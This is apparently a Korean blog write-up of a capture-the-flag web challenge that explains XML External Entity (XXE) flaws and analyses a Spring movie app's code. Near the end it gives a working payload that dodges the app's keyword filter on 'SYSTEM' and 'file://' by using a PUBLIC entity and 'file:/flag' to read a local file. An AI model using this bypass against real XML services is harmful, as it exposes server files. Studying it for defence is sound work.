XXE 취약점에 대해
XXE 취약점 : XML에서 발생하는 보안 취약점
XML : Extensible Markup Language의 줄임말로, HTML은 정해진 태그만 사용하는 반면, XML을 활용하면 태그를 직접 만들어서 활용할 수 있다.
<?xml version="1.0" encoding="UTF-8"?>
<note>
<date>
<day>09</day>
<month>08</month>
<year>2021</year>
</date>
<title>XML에 대하여</title>
<text>XML은 XML이다.</text>
</note>
위와 같은 XML 파일을 보면, 정보를 태그로 마크하여 필요한 내용을 안에 작성할 수 있다.
XXE에 대하여
XXE 취약점은 XML External Entity의 줄임말로, XML 타입의 데이터 요청을 전송할 때 XML의 외부 엔티티를 처리할 수 있게 설정이 되어 있는 경우에 발생하는 취약점이다. → XML 자체가 사용자가 임의적으로 무언가르 정해서 보낼 수 있다는 기능이 있기 때문에,XML을 악의적으로 이용하면 충분히 의도치 않은 실행을 시킬 수 있다.
취약점 실습

위의 사진은 간단하게 XML 코드를 삽입하여 해당 XML에 대한 결과를 화면에 출력해준 사진이다. 하지만 다음 사진과 같이 system 관련된 명령어를 넣는다면 그대로 실행이 된다.

해당 사진을 보면 악의적인 스크립트를 삽입하여 실행했다. 하지만 바로 실행시킬 경우 원하는 커맨드가 바로 실행되지 않기 때문에, php wrapper를 통해 base64 encoding된 값을 출력시켰다.
결론적으로 LFI, RFI, Injection 등등 온갖 취약점이 거의 다 터진다고 한다. XXE 취약점을 활용해 공격하면 쉘처럼 활용할 수 있다.
<참고 - https://dokhakdubini.tistory.com/516 블로그>
문제 분석

MovieController.java 코드 분석
@GetMapping("/table")
public String getMovieTable(Model model) {
File file = new File("/app/tables/table.xml");
model.addAttribute("movies", movieService.getMovies(file));
return "table";
}
- /app/tables/table.xml 경로에 있는 XML 파일을 읽어옴
- movieService.getMoives(file)을 통해 XML 파일에 있는 영화 정보를 읽어옴
- table이라는 이름의 뷰 템플릿을 반환함
@PostMapping("/test")
public String test(HttpServletRequest request, Model model) {
try {
model.addAttribute("movies", movieService.getMovies(request.getInputStream()));
} catch (IOException e) {
e.getStackTrace();
}
return "table";
}
- /test 앤드포인트로 들어온 POST 요청만 처리함
- body에 임의의 xml 코드 삽입 가능 → 해당 xml 코드가 /test에 출력됨

<예상 가능한 취약점>
body에 들어가는 XML에 대한 검증이 없으므로 악의적인 XML 삽입 가능?
MovieService.java 코드 분석
해당 파일을 전체적으로 웹서비스의 예외 처리와 관련된 동작을 하는 코드이다.
하지만 몇가지 눈에 띄는 코드가 있다.
if (inputStreamString.contains("SYSTEM")){
throw new BadKeywordException("Not allowed.");
}
if(inputStreamString.contains("file://")){
throw new BadKeywordException("Not allowed.");
}
위의 두가지 코드는 현재 SYSTEM과 file://라는 키워드를 필터링하고 있다. 위의 두 키워드가 발견되면 서버에 Not allowed라는 문구를 전송해준다.
<예상 가능한 익스플로잇>
악의적인 XML 코드를 삽입하지만 system, file://를 사용하지 않거나 해당 키워드를 우회하여 XML 스크립트를 작성하고 test 페이지에 전송해야하면 LFI나 다른 취약점을 트리거 할 수 있을 것 같다.
취약점 분석
postman을 활용하여 /test 엔드포인트에 특정한 XML 코드를 주입하면 화면에 그대로 표시되는 것을 보면, XXE 인젝션 취약점이 존재하는 것을 알 수 있다.
또한 <MovieService.java> 파일의 코드를 보면 system과 file:// 키워드를 필터링하고 있는데, 해당 키워드를 우회하거나 다른 키워드를 활용하여 XXE 인젝션 취약점을 활용한 공격을 수행할 수 있을 것으로 예상된다.
익스플로잇

위와 같이 SYSTEM 키워드를 활용하여 임의의 XML 코드를 post 요청으로 보내면 웹페이지에 아무것도 출력되지 않는다.
하지만

이렇게 system을 test로 바꿔서 전송하면 ../../../flag가 그대로 출력되는 것을 확인할 수 있다. → 이 뜻은 코드대로 system을 정상적으로 필터링하고 있다는 뜻이다.
<어떻게 하면 화면에 해당 스크립트가 출력되도록 할 수 있을까?>
- SYSTEM, file://를 우회하여 외부 엔티티 활용할 수 있도록 하기
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE members [ <!ENTITY test PUBLIC "flag" "file:/flag"> ]>
<movies>
<movie>
<title>The Shawshank Redemption</title>
<showtimes>
<showtime>&test;</showtime>
</showtimes>
</movie>
</movies>

출력 가능한 XML 스크립트 형식과 SYSTEM을 PUBLIC으로 우회, 그리고 file://을 file:/로 우회하면 정상적으로 flag가 출력된다.
<흠..>
이번 문제는 코드분석과 취약점까지 완벽하게 찾았고, xxe에 대해서도 공부를 한 상태에서 익스플로잇을 진행했으나, xxe 취약점에 대해서만 알아서는 안되고 xml 문법까지 조금 깊게 찾아보고 익스플로잇을 했어야 했는데 자세하게 xml 문법에 대해 찾아보지 못해서 마지막까지 못풀고 결국 라이트업을 보고 풀었다. 앞으론 해당 문제에 활용되는 기술에 대해 자세하게 찾아보며 문제를 풀 필요가 있을 것 같다.
'CTF & Wargame(WEB)' 카테고리의 다른 글
| Dreamhack Switching Command (0) | 2025.05.30 |
|---|---|
| dreamhack insane python (1) | 2025.05.20 |
| dreamhack username:password@ 풀이 (0) | 2025.05.20 |
| Black-Hacker-Company (0) | 2025.05.14 |
| SSTI 관련 문제 풀이 (0) | 2025.05.04 |